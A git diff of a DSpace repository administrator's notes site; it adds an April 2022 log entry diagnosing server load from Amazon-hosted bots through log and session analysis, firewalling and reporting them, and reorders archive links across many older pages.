diff --git a/content/posts/2022-04.md b/content/posts/2022-04.md index 6afb2cea8..27e5bf8b6 100644 --- a/content/posts/2022-04.md +++ b/content/posts/2022-04.md @@ -228,4 +228,149 @@ $ ./ilri/fix-metadata-values.py -i /tmp/regions.csv -db dspace -u dspace -p 'fuu - Then I started a new harvest on AReS +## 2022-04-27 + +- I woke up to many up down notices for CGSpace from UptimeRobot + - The server has load 111.0... sigh. +- According to Grafana it seems to have started at 4:00 AM + +![Grafana load](/cgspace-notes/2022/04/cgspace-load.png) + +- There are a metric fuck ton of database locks from the XMLUI: + +```console +$ psql -c 'SELECT * FROM pg_locks pl LEFT JOIN pg_stat_activity psa ON pl.pid = psa.pid;' | grep -o -E '(dspaceWeb|dspaceApi)' | sort | uniq -c + 128 dspaceApi + 16890 dspaceWeb +``` + +- As for the server logs, I don't see many IPs connecting today: + +```console +# cat /var/log/nginx/access.log | awk '{print $1}' | sort | uniq | wc -l +2924 +``` + +- But there appear to be some IPs making many requests: + +```console +# cat /var/log/nginx/access.log | awk '{print $1}' | sort | uniq -c | sort -h +... + 345 207.46.13.53 + 646 66.249.66.222 + 678 54.90.79.112 + 1529 136.243.148.249 + 1797 54.175.8.110 + 2304 174.129.118.171 + 2523 66.249.66.221 + 2632 52.73.204.196 + 2667 54.174.240.122 + 5206 35.172.193.232 + 5646 35.153.131.101 + 6373 3.85.92.145 + 7383 34.227.10.4 + 8330 100.24.63.172 + 8342 34.236.36.176 + 8369 44.200.190.111 + 8371 3.238.116.153 + 8391 18.232.101.158 + 8631 3.239.81.247 + 8634 54.82.125.225 +``` + +- 54.82.125.225, 3.239.81.247, 18.232.101.158, 3.238.116.153, 44.200.190.111, 34.236.36.176, 100.24.63.172, 3.85.92.145, 35.153.131.101, 35.172.193.232, 54.174.240.122, 52.73.204.196, 174.129.118.171, 54.175.8.110, and 54.90.79.112 are all on Amazon and using this normal-looking user agent: + +``` +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.3 +``` + +- None of these hosts are re-using their DSpace session ID so they are definitely not normal browsers as they are claiming: + +```console +$ grep 54.82.125.225 dspace.log.2022-04-27 | grep -oE 'session_id=[A-Z0-9]{32}:ip_addr=' | sort | uniq | wc -l +5760 +$ grep 3.239.81.247 dspace.log.2022-04-27 | grep -oE 'session_id=[A-Z0-9]{32}:ip_addr=' | sort | uniq | wc -l +6053 +$ grep 18.232.101.158 dspace.log.2022-04-27 | grep -oE 'session_id=[A-Z0-9]{32}:ip_addr=' | sort | uniq | wc -l +5841 +$ grep 3.238.116.153 dspace.log.2022-04-27 | grep -oE 'session_id=[A-Z0-9]{32}:ip_addr=' | sort | uniq | wc -l +5887 +$ grep 44.200.190.111 dspace.log.2022-04-27 | grep -oE 'session_id=[A-Z0-9]{32}:ip_addr=' | sort | uniq | wc -l +5899 +... +``` + +- And we can see a massive spike in sessions in Munin: + +![Grafana load](/cgspace-notes/2022/04/jmx_dspace_sessions-day2.png) + +- I see the following IPs using that user agent today: + +```console +# grep 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36' /var/log/nginx/access.log | awk '{print $1}' | sort | uniq -c | sort -h + 678 54.90.79.112 + 1797 54.175.8.110 + 2697 174.129.118.171 + 2765 52.73.204.196 + 3072 54.174.240.122 + 5206 35.172.193.232 + 5646 35.153.131.101 + 6783 3.85.92.145 + 7763 34.227.10.4 + 8738 100.24.63.172 + 8748 34.236.36.176 + 8787 3.238.116.153 + 8794 18.232.101.158 + 8806 44.200.190.111 + 9021 54.82.125.225 + 9027 3.239.81.247 +``` + +- I added those IPs to the firewall and then purged their hits from Solr: + +```console +$ ./ilri/check-spider-ip-hits.sh -f /tmp/ips.txt -p +Purging 6024 hits from 100.24.63.172 in statistics +Purging 1719 hits from 174.129.118.171 in statistics +Purging 5972 hits from 18.232.101.158 in statistics +Purging 6053 hits from 3.238.116.153 in statistics +Purging 6228 hits from 3.239.81.247 in statistics +Purging 5305 hits from 34.227.10.4 in statistics +Purging 6002 hits from 34.236.36.176 in statistics +Purging 3908 hits from 35.153.131.101 in statistics +Purging 3692 hits from 35.172.193.232 in statistics +Purging 4525 hits from 3.85.92.145 in statistics +Purging 6048 hits from 44.200.190.111 in statistics +Purging 1942 hits from 52.73.204.196 in statistics +Purging 1944 hits from 54.174.240.122 in statistics +Purging 1264 hits from 54.175.8.110 in statistics +Purging 6117 hits from 54.82.125.225 in statistics +Purging 486 hits from 54.90.79.112 in statistics + +Total number of bot hits purged: 67229 +``` + +- Then I created a CSV with these IPs and reported them to AbuseIPDB.com: + +```console +$ cat /tmp/ips.csv +IP,Categories,ReportDate,Comment +100.24.63.172,4,2022-04-27T04:00:37-10:00,"Excessive automated HTTP requests" +174.129.118.171,4,2022-04-27T04:00:37-10:00,"Excessive automated HTTP requests" +18.232.101.158,4,2022-04-27T04:00:37-10:00,"Excessive automated HTTP requests" +3.238.116.153,4,2022-04-27T04:00:37-10:00,"Excessive automated HTTP requests" +3.239.81.247,4,2022-04-27T04:00:37-10:00,"Excessive automated HTTP requests" +34.227.10.4,4,2022-04-27T04:00:37-10:00,"Excessive automated HTTP requests" +34.236.36.176,4,2022-04-27T04:00:37-10:00,"Excessive automated HTTP requests" +35.153.131.101,4,2022-04-27T04:00:37-10:00,"Excessive automated HTTP requests" +35.172.193.232,4,2022-04-27T04:00:37-10:00,"Excessive automated HTTP requests" +3.85.92.145,4,2022-04-27T04:00:37-10:00,"Excessive automated HTTP requests" +44.200.190.111,4,2022-04-27T04:00:37-10:00,"Excessive automated HTTP requests" +52.73.204.196,4,2022-04-27T04:00:37-10:00,"Excessive automated HTTP requests" +54.174.240.122,4,2022-04-27T04:00:37-10:00,"Excessive automated HTTP requests" +54.175.8.110,4,2022-04-27T04:00:37-10:00,"Excessive automated HTTP requests" +54.82.125.225,4,2022-04-27T04:00:37-10:00,"Excessive automated HTTP requests" +54.90.79.112,4,2022-04-27T04:00:37-10:00,"Excessive automated HTTP requests" +``` + diff --git a/docs/2015-11/index.html b/docs/2015-11/index.html index b584622b5..52ce62961 100644 --- a/docs/2015-11/index.html +++ b/docs/2015-11/index.html @@ -34,7 +34,7 @@ Last week I had increased the limit from 30 to 60, which seemed to help, but now $ psql -c 'SELECT * from pg_stat_activity;' | grep idle | grep -c cgspace 78 "/> - + @@ -242,9 +242,9 @@ db.statementpool = true
    -
  1. March, 2022
  2. +
  3. April, 2022
  4. -
  5. April, 2022
  6. +
  7. March, 2022
  8. February, 2022
  9. diff --git a/docs/2015-12/index.html b/docs/2015-12/index.html index 93276906a..e956e8848 100644 --- a/docs/2015-12/index.html +++ b/docs/2015-12/index.html @@ -36,7 +36,7 @@ Replace lzop with xz in log compression cron jobs on DSpace Test—it uses less -rw-rw-r-- 1 tomcat7 tomcat7 387K Nov 18 23:59 dspace.log.2015-11-18.lzo -rw-rw-r-- 1 tomcat7 tomcat7 169K Nov 18 23:59 dspace.log.2015-11-18.xz "/> - + @@ -264,9 +264,9 @@ $ curl -o /dev/null -s -w %{time_total}\\n https://cgspace.cgiar.org/rest/handle
      -
    1. March, 2022
    2. +
    3. April, 2022
    4. -
    5. April, 2022
    6. +
    7. March, 2022
    8. February, 2022
    9. diff --git a/docs/2016-01/index.html b/docs/2016-01/index.html index caedf9ade..92adc73c0 100644 --- a/docs/2016-01/index.html +++ b/docs/2016-01/index.html @@ -28,7 +28,7 @@ Move ILRI collection 10568/12503 from 10568/27869 to 10568/27629 using the move_ I realized it is only necessary to clear the Cocoon cache after moving collections—rather than reindexing—as no metadata has changed, and therefore no search or browse indexes need to be updated. Update GitHub wiki for documentation of maintenance tasks. "/> - + @@ -200,9 +200,9 @@ $ find SimpleArchiveForBio/ -iname “*.pdf” -exec basename {} ; | sor
        -
      1. March, 2022
      2. +
      3. April, 2022
      4. -
      5. April, 2022
      6. +
      7. March, 2022
      8. February, 2022
      9. diff --git a/docs/2016-02/index.html b/docs/2016-02/index.html index 87b863640..b9ff7a981 100644 --- a/docs/2016-02/index.html +++ b/docs/2016-02/index.html @@ -38,7 +38,7 @@ I noticed we have a very interesting list of countries on CGSpace: Not only are there 49,000 countries, we have some blanks (25)… Also, lots of things like “COTE D`LVOIRE” and “COTE D IVOIRE” "/> - + @@ -378,9 +378,9 @@ Bitstream: tést señora alimentación.pdf
          -
        1. March, 2022
        2. +
        3. April, 2022
        4. -
        5. April, 2022
        6. +
        7. March, 2022
        8. February, 2022
        9. diff --git a/docs/2016-03/index.html b/docs/2016-03/index.html index 336ebdeae..6e14dc9df 100644 --- a/docs/2016-03/index.html +++ b/docs/2016-03/index.html @@ -28,7 +28,7 @@ Looking at issues with author authorities on CGSpace For some reason we still have the index-lucene-update cron job active on CGSpace, but I’m pretty sure we don’t need it as of the latest few versions of Atmire’s Listings and Reports module Reinstall my local (Mac OS X) DSpace stack with Tomcat 7, PostgreSQL 9.3, and Java JDK 1.7 to match environment on CGSpace server "/> - + @@ -316,9 +316,9 @@ Reinstall my local (Mac OS X) DSpace stack with Tomcat 7, PostgreSQL 9.3, and Ja
            -
          1. March, 2022
          2. +
          3. April, 2022
          4. -
          5. April, 2022
          6. +
          7. March, 2022
          8. February, 2022
          9. diff --git a/docs/2016-04/index.html b/docs/2016-04/index.html index 0396f86d1..ce8bdd564 100644 --- a/docs/2016-04/index.html +++ b/docs/2016-04/index.html @@ -32,7 +32,7 @@ After running DSpace for over five years I’ve never needed to look in any This will save us a few gigs of backup space we’re paying for on S3 Also, I noticed the checker log has some errors we should pay attention to: "/> - + @@ -495,9 +495,9 @@ dspace.log.2016-04-27:7271
              -
            1. March, 2022
            2. +
            3. April, 2022
            4. -
            5. April, 2022
            6. +
            7. March, 2022
            8. February, 2022
            9. diff --git a/docs/2016-05/index.html b/docs/2016-05/index.html index d4030a4fc..199543e46 100644 --- a/docs/2016-05/index.html +++ b/docs/2016-05/index.html @@ -34,7 +34,7 @@ There are 3,000 IPs accessing the REST API in a 24-hour period! # awk '{print $1}' /var/log/nginx/rest.log | uniq | wc -l 3168 "/> - + @@ -371,9 +371,9 @@ sys 0m20.540s
                -
              1. March, 2022
              2. +
              3. April, 2022
              4. -
              5. April, 2022
              6. +
              7. March, 2022
              8. February, 2022
              9. diff --git a/docs/2016-06/index.html b/docs/2016-06/index.html index 949db6f0b..6500ee628 100644 --- a/docs/2016-06/index.html +++ b/docs/2016-06/index.html @@ -34,7 +34,7 @@ This is their publications set: http://ebrary.ifpri.org/oai/oai.php?verb=ListRec You can see the others by using the OAI ListSets verb: http://ebrary.ifpri.org/oai/oai.php?verb=ListSets Working on second phase of metadata migration, looks like this will work for moving CPWF-specific data in dc.identifier.fund to cg.identifier.cpwfproject and then the rest to dc.description.sponsorship "/> - + @@ -409,9 +409,9 @@ $ ./delete-metadata-values.py -f dc.contributor.corporate -i Corporate-Authors-D
                  -
                1. March, 2022
                2. +
                3. April, 2022
                4. -
                5. April, 2022
                6. +
                7. March, 2022
                8. February, 2022
                9. diff --git a/docs/2016-07/index.html b/docs/2016-07/index.html index 7d02b6b0c..c568d5b8b 100644 --- a/docs/2016-07/index.html +++ b/docs/2016-07/index.html @@ -44,7 +44,7 @@ dspacetest=# select text_value from metadatavalue where metadata_field_id=3 and In this case the select query was showing 95 results before the update "/> - + @@ -325,9 +325,9 @@ discovery.index.authority.ignore-variants=true
                    -
                  1. March, 2022
                  2. +
                  3. April, 2022
                  4. -
                  5. April, 2022
                  6. +
                  7. March, 2022
                  8. February, 2022
                  9. diff --git a/docs/2016-08/index.html b/docs/2016-08/index.html index 536ff672b..86991b14f 100644 --- a/docs/2016-08/index.html +++ b/docs/2016-08/index.html @@ -42,7 +42,7 @@ $ git checkout -b 55new 5_x-prod $ git reset --hard ilri/5_x-prod $ git rebase -i dspace-5.5 "/> - + @@ -389,9 +389,9 @@ $ JAVA_OPTS="-Dfile.encoding=UTF-8 -Xmx512m" /home/cgspace.cgiar.org/bin
                      -
                    1. March, 2022
                    2. +
                    3. April, 2022
                    4. -
                    5. April, 2022
                    6. +
                    7. March, 2022
                    8. February, 2022
                    9. diff --git a/docs/2016-09/index.html b/docs/2016-09/index.html index 82029c2f6..783807a21 100644 --- a/docs/2016-09/index.html +++ b/docs/2016-09/index.html @@ -34,7 +34,7 @@ It looks like we might be able to use OUs now, instead of DCs: $ ldapsearch -x -H ldaps://svcgroot2.cgiarad.org:3269/ -b "dc=cgiarad,dc=org" -D "admigration1@cgiarad.org" -W "(sAMAccountName=admigration1)" "/> - + @@ -606,9 +606,9 @@ $ ./delete-metadata-values.py -i ilrisubjects-delete-13.csv -f cg.subject.ilri -
                        -
                      1. March, 2022
                      2. +
                      3. April, 2022
                      4. -
                      5. April, 2022
                      6. +
                      7. March, 2022
                      8. February, 2022
                      9. diff --git a/docs/2016-10/index.html b/docs/2016-10/index.html index 4a20238b7..6c3c7a011 100644 --- a/docs/2016-10/index.html +++ b/docs/2016-10/index.html @@ -42,7 +42,7 @@ I exported a random item’s metadata as CSV, deleted all columns except id 0000-0002-6115-0956||0000-0002-3812-8793||0000-0001-7462-405X "/> - + @@ -372,9 +372,9 @@ dspace=# update metadatavalue set text_value = regexp_replace(text_value, 'h
                          -
                        1. March, 2022
                        2. +
                        3. April, 2022
                        4. -
                        5. April, 2022
                        6. +
                        7. March, 2022
                        8. February, 2022
                        9. diff --git a/docs/2016-11/index.html b/docs/2016-11/index.html index 400c4aaef..f2719555b 100644 --- a/docs/2016-11/index.html +++ b/docs/2016-11/index.html @@ -26,7 +26,7 @@ Add dc.type to the output options for Atmire’s Listings and Reports module Add dc.type to the output options for Atmire’s Listings and Reports module (#286) "/> - + @@ -548,9 +548,9 @@ org.dspace.discovery.SearchServiceException: Error executing query
                            -
                          1. March, 2022
                          2. +
                          3. April, 2022
                          4. -
                          5. April, 2022
                          6. +
                          7. March, 2022
                          8. February, 2022
                          9. diff --git a/docs/2016-12/index.html b/docs/2016-12/index.html index e76eff7e5..5c54ca72e 100644 --- a/docs/2016-12/index.html +++ b/docs/2016-12/index.html @@ -46,7 +46,7 @@ I see thousands of them in the logs for the last few months, so it’s not r I’ve raised a ticket with Atmire to ask Another worrying error from dspace.log is: "/> - + @@ -784,9 +784,9 @@ $ exit
                              -
                            1. March, 2022
                            2. +
                            3. April, 2022
                            4. -
                            5. April, 2022
                            6. +
                            7. March, 2022
                            8. February, 2022
                            9. diff --git a/docs/2017-01/index.html b/docs/2017-01/index.html index 43e8cff76..d540deb26 100644 --- a/docs/2017-01/index.html +++ b/docs/2017-01/index.html @@ -28,7 +28,7 @@ I checked to see if the Solr sharding task that is supposed to run on January 1s I tested on DSpace Test as well and it doesn’t work there either I asked on the dspace-tech mailing list because it seems to be broken, and actually now I’m not sure if we’ve ever had the sharding task run successfully over all these years "/> - + @@ -369,9 +369,9 @@ $ gs -sDEVICE=pdfwrite -dCompatibilityLevel=1.4 -dPDFSETTINGS=/ebook -dNOPAUSE -
                                -
                              1. March, 2022
                              2. +
                              3. April, 2022
                              4. -
                              5. April, 2022
                              6. +
                              7. March, 2022
                              8. February, 2022
                              9. diff --git a/docs/2017-02/index.html b/docs/2017-02/index.html index d5feba155..5c109c156 100644 --- a/docs/2017-02/index.html +++ b/docs/2017-02/index.html @@ -50,7 +50,7 @@ DELETE 1 Create issue on GitHub to track the addition of CCAFS Phase II project tags (#301) Looks like we’ll be using cg.identifier.ccafsprojectpii as the field name "/> - + @@ -423,9 +423,9 @@ COPY 1968
                                  -
                                1. March, 2022
                                2. +
                                3. April, 2022
                                4. -
                                5. April, 2022
                                6. +
                                7. March, 2022
                                8. February, 2022
                                9. diff --git a/docs/2017-03/index.html b/docs/2017-03/index.html index 8a78e16f4..dd4e4acc1 100644 --- a/docs/2017-03/index.html +++ b/docs/2017-03/index.html @@ -54,7 +54,7 @@ Interestingly, it seems DSpace 4.x’s thumbnails were sRGB, but forcing reg $ identify ~/Desktop/alc_contrastes_desafios.jpg /Users/aorth/Desktop/alc_contrastes_desafios.jpg JPEG 464x600 464x600+0+0 8-bit CMYK 168KB 0.000u 0:00.000 "/> - + @@ -355,9 +355,9 @@ $ ./delete-metadata-values.py -i Investors-Delete-121.csv -f dc.description.spon
                                    -
                                  1. March, 2022
                                  2. +
                                  3. April, 2022
                                  4. -
                                  5. April, 2022
                                  6. +
                                  7. March, 2022
                                  8. February, 2022
                                  9. diff --git a/docs/2017-04/index.html b/docs/2017-04/index.html index b21cb2548..8e6df6fe8 100644 --- a/docs/2017-04/index.html +++ b/docs/2017-04/index.html @@ -40,7 +40,7 @@ Testing the CMYK patch on a collection with 650 items: $ [dspace]/bin/dspace filter-media -f -i 10568/16498 -p "ImageMagick PDF Thumbnail" -v >& /tmp/filter-media-cmyk.txt "/> - + @@ -585,9 +585,9 @@ $ gem install compass -v 1.0.3
                                      -
                                    1. March, 2022
                                    2. +
                                    3. April, 2022
                                    4. -
                                    5. April, 2022
                                    6. +
                                    7. March, 2022
                                    8. February, 2022
                                    9. diff --git a/docs/2017-05/index.html b/docs/2017-05/index.html index b1beedf42..f9311d1b0 100644 --- a/docs/2017-05/index.html +++ b/docs/2017-05/index.html @@ -18,7 +18,7 @@ - + @@ -391,9 +391,9 @@ UPDATE 187
                                        -
                                      1. March, 2022
                                      2. +
                                      3. April, 2022
                                      4. -
                                      5. April, 2022
                                      6. +
                                      7. March, 2022
                                      8. February, 2022
                                      9. diff --git a/docs/2017-06/index.html b/docs/2017-06/index.html index 8bcbe1817..096f60d93 100644 --- a/docs/2017-06/index.html +++ b/docs/2017-06/index.html @@ -18,7 +18,7 @@ - + @@ -270,9 +270,9 @@ $ JAVA_OPTS="-Xmx1024m -Dfile.encoding=UTF-8" [dspace]/bin/dspace import
                                          -
                                        1. March, 2022
                                        2. +
                                        3. April, 2022
                                        4. -
                                        5. April, 2022
                                        6. +
                                        7. March, 2022
                                        8. February, 2022
                                        9. diff --git a/docs/2017-07/index.html b/docs/2017-07/index.html index adf7e4005..7ecf11826 100644 --- a/docs/2017-07/index.html +++ b/docs/2017-07/index.html @@ -36,7 +36,7 @@ Merge changes for WLE Phase II theme rename (#329) Looking at extracting the metadata registries from ICARDA’s MEL DSpace database so we can compare fields with CGSpace We can use PostgreSQL’s extended output format (-x) plus sed to format the output into quasi XML: "/> - + @@ -275,9 +275,9 @@ delete from metadatavalue where resource_type_id=2 and metadata_field_id=235 and
                                            -
                                          1. March, 2022
                                          2. +
                                          3. April, 2022
                                          4. -
                                          5. April, 2022
                                          6. +
                                          7. March, 2022
                                          8. February, 2022
                                          9. diff --git a/docs/2017-08/index.html b/docs/2017-08/index.html index 3cd3218ca..b37f55d54 100644 --- a/docs/2017-08/index.html +++ b/docs/2017-08/index.html @@ -60,7 +60,7 @@ This was due to newline characters in the dc.description.abstract column, which I exported a new CSV from the collection on DSpace Test and then manually removed the characters in vim using g/^$/d Then I cleaned up the author authorities and HTML characters in OpenRefine and sent the file back to Abenet "/> - + @@ -517,9 +517,9 @@ org.apache.commons.dbcp.SQLNestedException: Cannot get a connection, pool error
                                              -
                                            1. March, 2022
                                            2. +
                                            3. April, 2022
                                            4. -
                                            5. April, 2022
                                            6. +
                                            7. March, 2022
                                            8. February, 2022
                                            9. diff --git a/docs/2017-09/index.html b/docs/2017-09/index.html index 6ee24b3a9..32a0ea80f 100644 --- a/docs/2017-09/index.html +++ b/docs/2017-09/index.html @@ -32,7 +32,7 @@ Linode sent an alert that CGSpace (linode18) was using 261% CPU for the past two Ask Sisay to clean up the WLE approvers a bit, as Marianne’s user account is both in the approvers step as well as the group "/> - + @@ -659,9 +659,9 @@ Cert Status: good
                                                -
                                              1. March, 2022
                                              2. +
                                              3. April, 2022
                                              4. -
                                              5. April, 2022
                                              6. +
                                              7. March, 2022
                                              8. February, 2022
                                              9. diff --git a/docs/2017-10/index.html b/docs/2017-10/index.html index d47641d6a..55809997c 100644 --- a/docs/2017-10/index.html +++ b/docs/2017-10/index.html @@ -34,7 +34,7 @@ http://hdl.handle.net/10568/78495||http://hdl.handle.net/10568/79336 There appears to be a pattern but I’ll have to look a bit closer and try to clean them up automatically, either in SQL or in OpenRefine Add Katherine Lutz to the groups for content submission and edit steps of the CGIAR System collections "/> - + @@ -443,9 +443,9 @@ session_id=6C30F10B4351A4ED83EC6ED50AFD6B6A
                                                  -
                                                1. March, 2022
                                                2. +
                                                3. April, 2022
                                                4. -
                                                5. April, 2022
                                                6. +
                                                7. March, 2022
                                                8. February, 2022
                                                9. diff --git a/docs/2017-11/index.html b/docs/2017-11/index.html index cb05a62fa..a15ce88a6 100644 --- a/docs/2017-11/index.html +++ b/docs/2017-11/index.html @@ -48,7 +48,7 @@ Generate list of authors on CGSpace for Peter to go through and correct: dspace=# \copy (select distinct text_value, count(*) as count from metadatavalue where metadata_field_id = (select metadata_field_id from metadatafieldregistry where element = 'contributor' and qualifier = 'author') AND resource_type_id = 2 group by text_value order by count desc) to /tmp/authors.csv with csv; COPY 54701 "/> - + @@ -944,9 +944,9 @@ $ cat dspace.log.2017-11-28 | grep -o -E 'session_id=[A-Z0-9]{32}' | sor
                                                    -
                                                  1. March, 2022
                                                  2. +
                                                  3. April, 2022
                                                  4. -
                                                  5. April, 2022
                                                  6. +
                                                  7. March, 2022
                                                  8. February, 2022
                                                  9. diff --git a/docs/2017-12/index.html b/docs/2017-12/index.html index 162fd5b7d..8f0680559 100644 --- a/docs/2017-12/index.html +++ b/docs/2017-12/index.html @@ -30,7 +30,7 @@ The logs say “Timeout waiting for idle object” PostgreSQL activity says there are 115 connections currently The list of connections to XMLUI and REST API for today: "/> - + @@ -783,9 +783,9 @@ DELETE 20
                                                      -
                                                    1. March, 2022
                                                    2. +
                                                    3. April, 2022
                                                    4. -
                                                    5. April, 2022
                                                    6. +
                                                    7. March, 2022
                                                    8. February, 2022
                                                    9. diff --git a/docs/2018-01/index.html b/docs/2018-01/index.html index 8c2b1ec6d..729913157 100644 --- a/docs/2018-01/index.html +++ b/docs/2018-01/index.html @@ -150,7 +150,7 @@ dspace.log.2018-01-02:34 Danny wrote to ask for help renewing the wildcard ilri.org certificate and I advised that we should probably use Let’s Encrypt if it’s just a handful of domains "/> - + @@ -1452,9 +1452,9 @@ Catalina:type=Manager,context=/,host=localhost activeSessions 8
                                                        -
                                                      1. March, 2022
                                                      2. +
                                                      3. April, 2022
                                                      4. -
                                                      5. April, 2022
                                                      6. +
                                                      7. March, 2022
                                                      8. February, 2022
                                                      9. diff --git a/docs/2018-02/index.html b/docs/2018-02/index.html index e1a38a570..5ee2b904a 100644 --- a/docs/2018-02/index.html +++ b/docs/2018-02/index.html @@ -30,7 +30,7 @@ We don’t need to distinguish between internal and external works, so that Yesterday I figured out how to monitor DSpace sessions using JMX I copied the logic in the jmx_tomcat_dbpools provided by Ubuntu’s munin-plugins-java package and used the stuff I discovered about JMX in 2018-01 "/> - + @@ -1038,9 +1038,9 @@ UPDATE 3
                                                          -
                                                        1. March, 2022
                                                        2. +
                                                        3. April, 2022
                                                        4. -
                                                        5. April, 2022
                                                        6. +
                                                        7. March, 2022
                                                        8. February, 2022
                                                        9. diff --git a/docs/2018-03/index.html b/docs/2018-03/index.html index 8fb68eb71..00c6ac5bb 100644 --- a/docs/2018-03/index.html +++ b/docs/2018-03/index.html @@ -24,7 +24,7 @@ Export a CSV of the IITA community metadata for Martin Mueller Export a CSV of the IITA community metadata for Martin Mueller "/> - + @@ -585,9 +585,9 @@ Fixed 5 occurences of: GENEBANKS
                                                            -
                                                          1. March, 2022
                                                          2. +
                                                          3. April, 2022
                                                          4. -
                                                          5. April, 2022
                                                          6. +
                                                          7. March, 2022
                                                          8. February, 2022
                                                          9. diff --git a/docs/2018-04/index.html b/docs/2018-04/index.html index 34d5be425..6258f59dc 100644 --- a/docs/2018-04/index.html +++ b/docs/2018-04/index.html @@ -26,7 +26,7 @@ Catalina logs at least show some memory errors yesterday: I tried to test something on DSpace Test but noticed that it’s down since god knows when Catalina logs at least show some memory errors yesterday: "/> - + @@ -594,9 +594,9 @@ $ pg_restore -O -U dspacetest -d dspacetest -W -h localhost /tmp/dspace_2018-04-
                                                              -
                                                            1. March, 2022
                                                            2. +
                                                            3. April, 2022
                                                            4. -
                                                            5. April, 2022
                                                            6. +
                                                            7. March, 2022
                                                            8. February, 2022
                                                            9. diff --git a/docs/2018-05/index.html b/docs/2018-05/index.html index 5bee24150..c9e6b901d 100644 --- a/docs/2018-05/index.html +++ b/docs/2018-05/index.html @@ -38,7 +38,7 @@ http://localhost:3000/solr/statistics/update?stream.body=%3Ccommit/%3E Then I reduced the JVM heap size from 6144 back to 5120m Also, I switched it to use OpenJDK instead of Oracle Java, as well as re-worked the Ansible infrastructure scripts to support hosts choosing which distribution they want to use "/> - + @@ -523,9 +523,9 @@ $ psql -h localhost -U postgres dspacetest
                                                                -
                                                              1. March, 2022
                                                              2. +
                                                              3. April, 2022
                                                              4. -
                                                              5. April, 2022
                                                              6. +
                                                              7. March, 2022
                                                              8. February, 2022
                                                              9. diff --git a/docs/2018-06/index.html b/docs/2018-06/index.html index 23cf6f195..fe988455a 100644 --- a/docs/2018-06/index.html +++ b/docs/2018-06/index.html @@ -58,7 +58,7 @@ real 74m42.646s user 8m5.056s sys 2m7.289s "/> - + @@ -517,9 +517,9 @@ $ sed '/^id/d' 10568-*.csv | csvcut -c 1,2 > map-to-cifor-archive.csv
                                                                  -
                                                                1. March, 2022
                                                                2. +
                                                                3. April, 2022
                                                                4. -
                                                                5. April, 2022
                                                                6. +
                                                                7. March, 2022
                                                                8. February, 2022
                                                                9. diff --git a/docs/2018-07/index.html b/docs/2018-07/index.html index 680683201..224cefdcc 100644 --- a/docs/2018-07/index.html +++ b/docs/2018-07/index.html @@ -36,7 +36,7 @@ During the mvn package stage on the 5.8 branch I kept getting issues with java r There is insufficient memory for the Java Runtime Environment to continue. "/> - + @@ -569,9 +569,9 @@ dspace=# select count(text_value) from metadatavalue where resource_type_id=2 an
                                                                    -
                                                                  1. March, 2022
                                                                  2. +
                                                                  3. April, 2022
                                                                  4. -
                                                                  5. April, 2022
                                                                  6. +
                                                                  7. March, 2022
                                                                  8. February, 2022
                                                                  9. diff --git a/docs/2018-08/index.html b/docs/2018-08/index.html index bdbb75efa..940531f64 100644 --- a/docs/2018-08/index.html +++ b/docs/2018-08/index.html @@ -46,7 +46,7 @@ Anyways, perhaps I should increase the JVM heap from 5120m to 6144m like we did The server only has 8GB of RAM so we’ll eventually need to upgrade to a larger one because we’ll start starving the OS, PostgreSQL, and command line batch processes I ran all system updates on DSpace Test and rebooted it "/> - + @@ -442,9 +442,9 @@ $ dspace database migrate ignored
                                                                      -
                                                                    1. March, 2022
                                                                    2. +
                                                                    3. April, 2022
                                                                    4. -
                                                                    5. April, 2022
                                                                    6. +
                                                                    7. March, 2022
                                                                    8. February, 2022
                                                                    9. diff --git a/docs/2018-09/index.html b/docs/2018-09/index.html index 0ad5e0970..c75973f27 100644 --- a/docs/2018-09/index.html +++ b/docs/2018-09/index.html @@ -30,7 +30,7 @@ I’ll update the DSpace role in our Ansible infrastructure playbooks and ru Also, I’ll re-run the postgresql tasks because the custom PostgreSQL variables are dynamic according to the system’s RAM, and we never re-ran them after migrating to larger Linodes last month I’m testing the new DSpace 5.8 branch in my Ubuntu 18.04 environment and I’m getting those autowire errors in Tomcat 8.5.30 again: "/> - + @@ -748,9 +748,9 @@ UPDATE metadatavalue SET text_value='ja' WHERE resource_type_id=2 AND me
                                                                        -
                                                                      1. March, 2022
                                                                      2. +
                                                                      3. April, 2022
                                                                      4. -
                                                                      5. April, 2022
                                                                      6. +
                                                                      7. March, 2022
                                                                      8. February, 2022
                                                                      9. diff --git a/docs/2018-10/index.html b/docs/2018-10/index.html index 432c3b472..03ccd6a44 100644 --- a/docs/2018-10/index.html +++ b/docs/2018-10/index.html @@ -26,7 +26,7 @@ I created a GitHub issue to track this #389, because I’m super busy in Nai Phil Thornton got an ORCID identifier so we need to add it to the list on CGSpace and tag his existing items I created a GitHub issue to track this #389, because I’m super busy in Nairobi right now "/> - + @@ -656,9 +656,9 @@ $ curl -X GET -H "Content-Type: application/json" -H "Accept: applic
                                                                          -
                                                                        1. March, 2022
                                                                        2. +
                                                                        3. April, 2022
                                                                        4. -
                                                                        5. April, 2022
                                                                        6. +
                                                                        7. March, 2022
                                                                        8. February, 2022
                                                                        9. diff --git a/docs/2018-11/index.html b/docs/2018-11/index.html index f7c12b63f..0cab8ff3c 100644 --- a/docs/2018-11/index.html +++ b/docs/2018-11/index.html @@ -36,7 +36,7 @@ Send a note about my dspace-statistics-api to the dspace-tech mailing list Linode has been sending mails a few times a day recently that CGSpace (linode18) has had high CPU usage Today these are the top 10 IPs: "/> - + @@ -553,9 +553,9 @@ $ dspace dsrun org.dspace.eperson.Groomer -a -b 11/27/2016 -d
                                                                            -
                                                                          1. March, 2022
                                                                          2. +
                                                                          3. April, 2022
                                                                          4. -
                                                                          5. April, 2022
                                                                          6. +
                                                                          7. March, 2022
                                                                          8. February, 2022
                                                                          9. diff --git a/docs/2018-12/index.html b/docs/2018-12/index.html index 0927388ad..51e6326fb 100644 --- a/docs/2018-12/index.html +++ b/docs/2018-12/index.html @@ -36,7 +36,7 @@ Then I ran all system updates and restarted the server I noticed that there is another issue with PDF thumbnails on CGSpace, and I see there was another Ghostscript vulnerability last week "/> - + @@ -594,9 +594,9 @@ UPDATE 1
                                                                              -
                                                                            1. March, 2022
                                                                            2. +
                                                                            3. April, 2022
                                                                            4. -
                                                                            5. April, 2022
                                                                            6. +
                                                                            7. March, 2022
                                                                            8. February, 2022
